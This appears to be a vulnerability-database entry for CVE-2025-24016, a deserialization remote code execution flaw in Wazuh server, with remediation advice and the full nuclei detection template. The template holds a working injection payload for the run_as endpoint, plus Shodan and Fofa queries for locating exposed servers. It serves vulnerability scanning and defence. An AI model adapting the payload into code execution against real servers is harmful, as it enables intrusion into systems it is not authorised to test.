SecurityContext

CVE-2025-24016: Wazuh - Unsafe Deserialization Remote Code Execution

  • Template: CVE-2025-24016
  • Name: Wazuh - Unsafe Deserialization Remote Code Execution
  • Description: A critical Remote Code Execution (RCE) vulnerability exists in Wazuh server versions >= 4.4.0 and < 4.9.1. The vulnerability occurs due to unsafe deserialization in the wazuh-manager package, specifically in the DistributedAPI where parameters are serialized as JSON and deserialized using as_wazuh_object in the framework/wazuh/core/cluster/common.py file. An attacker with API access can exploit this vulnerability by injecting an unsanitized dictionary into DAPI requests, leading to arbitrary Python code execution.
  • Impact: Successful exploitation allows attackers to execute arbitrary code on the Wazuh server with the privileges of the wazuh-manager process. This can lead to complete system compromise, data exfiltration, lateral movement within the network, and potential denial of service conditions.
  • Remediation: Upgrade to Wazuh version >= 4.9.1 where this vulnerability has been patched. If immediate upgrade is not possible: Restrict API access to trusted IP addresses only, implement network segmentation to isolate Wazuh servers, monitor for suspicious API requests to the /security/user/authenticate/run_as endpoint, and consider implementing a Web Application Firewall (WAF) to filter malicious requests.
  • Severity: critical
  • Authors: Hüseyin TINTAŞ, ritikchaddha
  • Tags: cve, cve2025, wazuh, deserialization, rce, authenticated, kev, vkev, vuln
  • References: https://github.com/MuhammadWaseem29/CVE-2025-24016, https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh, https://nvd.nist.gov/vuln/detail/CVE-2025-24016
  • Cves: CVE-2025-24016
  • Max requests: 2
  • Directory: http/cves
  • Path: http/cves/2025/CVE-2025-24016.yaml
  • Digest: 4a0a00473045022014ee887ef4dcecddedc5cc3d023b675b6ece2f65dac4a44cc0b66cde96f11319022100b3d2d243aceca71bd120bb3d9c84759367338a3152fd7f1a3602a40fbda775d0
  • Created at: 2025-05-20T05:01:33Z
  • Updated at: 2026-11-18T02:04:03Z
  • Age in days: 553
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-24016.yaml
  • Checked, none or zero: verified

Classification

  • Cwe: CWE-502
  • Cvss score: 9.9
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • Epss score: 0.95208
  • Epss percentile: 0.99866
  • Cpe: cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: app="Wazuh"
  • Max-request: 2
  • Product: wazuh
  • Shodan-query: title:"Wazuh"
  • Vendor: wazuh

Products

ProductIndexedUrl
wazuh:wazuhyes/v1/products/wazuh/wazuh

Labels

  • Name: Wazuh - Insecure Deserialization
  • Impact: Attackers with API access can execute arbitrary code on Wazuh servers, potentially leading to full system compromise.
  • Remediation: Update to version 4.9.1 or later.
  • Vulnerability type: insecure_deserialization
  • Vulnerability impact: remote_code_execution
  • Requirement type: logged_in
  • Requirements: Attacker needs API access
  • Labels source: projectdiscovery
  • From cve: CVE-2025-24016

```yaml

id: CVE-2025-24016

info:

name: Wazuh - Unsafe Deserialization Remote Code Execution

author: Hüseyin TINTAŞ,ritikchaddha

severity: critical

description: |

A critical Remote Code Execution (RCE) vulnerability exists in Wazuh server versions >= 4.4.0 and < 4.9.1. The vulnerability occurs due to unsafe deserialization in the wazuh-manager package, specifically in the DistributedAPI where parameters are serialized as JSON and deserialized using as_wazuh_object in the framework/wazuh/core/cluster/common.py file. An attacker with API access can exploit this vulnerability by injecting an unsanitized dictionary into DAPI requests, leading to arbitrary Python code execution.

impact: |

Successful exploitation allows attackers to execute arbitrary code on the Wazuh server with the privileges of the wazuh-manager process. This can lead to complete system compromise, data exfiltration, lateral movement within the network, and potential denial of service conditions.

remediation: |

Upgrade to Wazuh version >= 4.9.1 where this vulnerability has been patched. If immediate upgrade is not possible: Restrict API access to trusted IP addresses only, implement network segmentation to isolate Wazuh servers, monitor for suspicious API requests to the /security/user/authenticate/run_as endpoint, and consider implementing a Web Application Firewall (WAF) to filter malicious requests.

reference:

- https://github.com/MuhammadWaseem29/CVE-2025-24016

- https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh

- https://nvd.nist.gov/vuln/detail/CVE-2025-24016

classification:

epss-score: 0.95208

epss-percentile: 0.99866

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

cvss-score: 9.9

cve-id: CVE-2025-24016

cwe-id: CWE-502

cpe: cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:*

metadata:

max-request: 2

vendor: wazuh

product: wazuh

shodan-query: title:"Wazuh"

fofa-query: app="Wazuh"

tags: cve,cve2025,wazuh,deserialization,rce,authenticated,kev,vkev,vuln

flow: http(1) && http(2)

variables:

payload: '{"__unhandled_exc__":{"__class__": "NotARealClass", "__args__": []}}'

http:

- raw:

- |

GET / HTTP/1.1

Host: {{Hostname}}

matchers:

- type: word

part: body

words:

- "NameError"

negative: true

internal: true

- raw:

- |

POST /security/user/authenticate/run_as HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

Authorization: Basic {{base64(username + ':' + password)}}

{{payload}}

matchers-condition: and

matchers:

- type: word

part: body

words:

- "NameError"

- type: status

status:

- 500

digest: 4a0a00473045022014ee887ef4dcecddedc5cc3d023b675b6ece2f65dac4a44cc0b66cde96f11319022100b3d2d243aceca71bd120bb3d9c84759367338a3152fd7f1a3602a40fbda775d0:922c64590222798bb761d5b6d8e72950

```